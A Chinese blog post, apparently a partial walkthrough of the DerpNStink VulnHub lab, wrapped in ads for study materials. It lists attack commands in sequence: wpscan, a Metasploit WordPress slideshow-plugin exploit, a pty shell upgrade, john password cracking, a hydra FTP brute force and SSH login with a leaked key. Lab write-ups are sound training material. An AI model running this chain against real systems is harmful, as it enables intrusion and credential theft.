DerpNStink打靶思路详解（vulnhub），2024最新腾讯网络安全面试分享-CSDN博客

本文链接：https://blog.csdn.net/2401_84411822/article/details/137889518

先自我介绍一下，小编浙江大学毕业，去过华为、字节跳动等大厂，目前阿里P7

深知大多数程序员，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年最新网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上网络安全知识点，真正体系化！

由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新

如果你需要这些资料，可以添加V获取：vip204888 （备注网络安全）

正文

wpscan --url http://192.168.31.122/weblog/

在这里插入图片描述

需要将域名 derpnstink.local 与 IP 进行绑定，所以我们编辑 hosts 文件

在这里插入图片描述

然后再次使用 wpscan 进行扫描

wpscan --url http://derpnstink.local/weblog/ --enumerate p,t

在这里插入图片描述

存在这个插件，搜索一下

searchsploit slideshow

在这里插入图片描述

哈哈哈哈哈哈，这么多

那直接掏出我们的 msf

搜索

search slideshow

在这里插入图片描述

然后就简单了

use 1

show options

set RHOSTS 192.168.31.122

set WP_USER admin

set WP_PASSWORD admin

set TARGETURI /weblog/

run

在这里插入图片描述

哦成功了

进入交互
shell

增强交互
python -c 'import pty; pty.spawn("/bin/bash")'

然后再 /var/www/html/weblog/wp-config.php 找到了数据库账号密码

在这里插入图片描述

ps:本人尝试了脏牛提权,结果靶机的apache服务直接没了。。。。。。。

尝试访问 phpmyadmin http://192.168.31.122/php/phpmyadmin/ 使用 root/mysql 登入

那就直接查看 secure_file_priv 的值看看能不能进行 udf 提权

show variables like '%secure%'

在这里插入图片描述

emmmmmmm，有限制

那就查看表中所储存的密码

在这里插入图片描述

还是通过 md5 网站进行查询

在这里插入图片描述

我的天呐，解不出来

那就上 john

 john DN.hash --wordlist=/usr/share/wordlists/rockyou.txt

在这里插入图片描述

得到密码为 wedgie57

本人使用 Unclestinky/wedgie57 进行登入，没有发现什么有用的信息

第三步：FTP渗透

首先通过刚才获取的低权限用户查看 /etc/passwd 文件，获取用户列表

然后通过 hydra 来进行爆破

hydra -L username.txt -P password.txt -t 5 -vV -o jg.txt  192.168.31.122 ftp

在这里插入图片描述

成功！！！！

那就登入

ftp 192.168.31.122

然后将所有文件都下载下来

挨个查看

derpissues.txt

12:06 mrderp: hey i cant login to wordpress anymore. Can you look into it?
12:07 stinky: yeah. did you need a password reset?
12:07 mrderp: I think i accidently deleted my account
12:07 mrderp: i just need to logon once to make a change
12:07 stinky: im gonna packet capture so we can figure out whats going on
12:07 mrderp: that seems a bit overkill, but wtv
12:08 stinky: commence the sniffer!!!!
12:08 mrderp: -_-
12:10 stinky: fine derp, i think i fixed it for you though. cany you try to login?
12:11 mrderp: awesome it works!
12:12 stinky: we really are the best sysadmins #team
12:13 mrderp: i guess we are...
12:15 mrderp: alright I made the changes, feel free to decomission my account
12:20 stinky: done! yay

翻译：
12：06 mrderp：嘿，我不能再登录WordPress了。你能调查一下吗？
12：07 臭：是的。您需要重置密码吗？
12：07 mrderp：我想我不小心删除了我的帐户
12：07 mrderp：我只需要登录一次即可进行更改
12：07 Stinky：我要去抓包，这样我们就可以弄清楚发生了什么
12：07 Mrderp：这似乎有点矫枉过正，但WTV
12：08 臭味：启动嗅探器!!!
12：08 mrderp： -_-
12：10 臭：很好，我想我帮你修好了。您尝试登录吗？
12：11 MRDERP：太棒了！
12：12 Stinky：我们真的是最好的系统管理员 #team
12：13 Mrderp：我想我们是......
12：15 mrderp：好的，我做了更改，请随时取消我的帐户
12：20 臭臭：搞定了！耶

test.txt

vsftpd test file

翻译：
vsftpd 测试文件

key.txt

发现这是 ssh 密钥文件

第四步：后渗透

使用得到的密钥进行登入

ssh -i key.txt stinky@192.168.31.122

在这里插入图片描述

告诉我 key.txt 权限太开放，那就改权限

chmod 600 key.txt  

再次连接：
ssh -i key.txt stinky@192.168.31.122

在这里插入图片描述

如何自学黑客&网络安全

黑客零基础入门学习路线&规划

初级黑客
1、网络安全理论知识（2天）
①了解行业相关背景，前景，确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。（非常重要）

2、渗透测试基础（一周）
①渗透测试的流程、分类、标准
②信息收集技术：主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理，利用方法、工具（MSF）、绕过IDS和反病毒侦察
④主机攻防演练：MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础（一周）
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全（系统入侵排查/系统加固基础）

4、计算机网络基础（一周）
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析（HTTP、TCP/IP、ARP等）
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御：主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作（2天）
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透（1周）
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具：Nmap、BurpSuite、SQLMap、其他（菜刀、漏扫等）
恭喜你，如果学到这里，你基本可以从事一份网络安全相关的工作，比如渗透测试、Web 渗透、安全服务、安全分析等岗位；如果等保模块学的好，还可以从事等保工程师。薪资区间6k-15k

到此为止，大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗？

如果你想要入坑黑客&网络安全，笔者给大家准备了一份：282G全网最全的网络安全资料包评论区留言即可领取！

7、脚本编程（初级/中级/高级）
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中，面对复杂多变的网络环境，当常用工具不能满足实际需求的时候，往往需要对现有工具进行扩展，或者编写符合我们要求的工具、自动化脚本，这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中，想要高效地使用自制的脚本工具来实现各种目的，更是需要拥有编程能力.

如果你零基础入门，笔者建议选择脚本语言Python/PHP/Go/Java中的一种，对常用库进行编程学习；搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP， IDE强烈推荐Sublime；·Python编程学习，学习内容包含：语法、正则、文件、网络、多线程等常用库，推荐《Python核心编程》，不要看完；·用Python编写漏洞的exp,然后写一个简单的网络爬虫；·PHP基本语法学习并书写一个简单的博客系统；熟悉MVC架构，并试着学习一个PHP框架或者Python框架 (可选)；·了解Bootstrap的布局或者CSS。

8、超级黑客
这部分内容对零基础的同学来说还比较遥远，就不展开细说了，附上学习路线。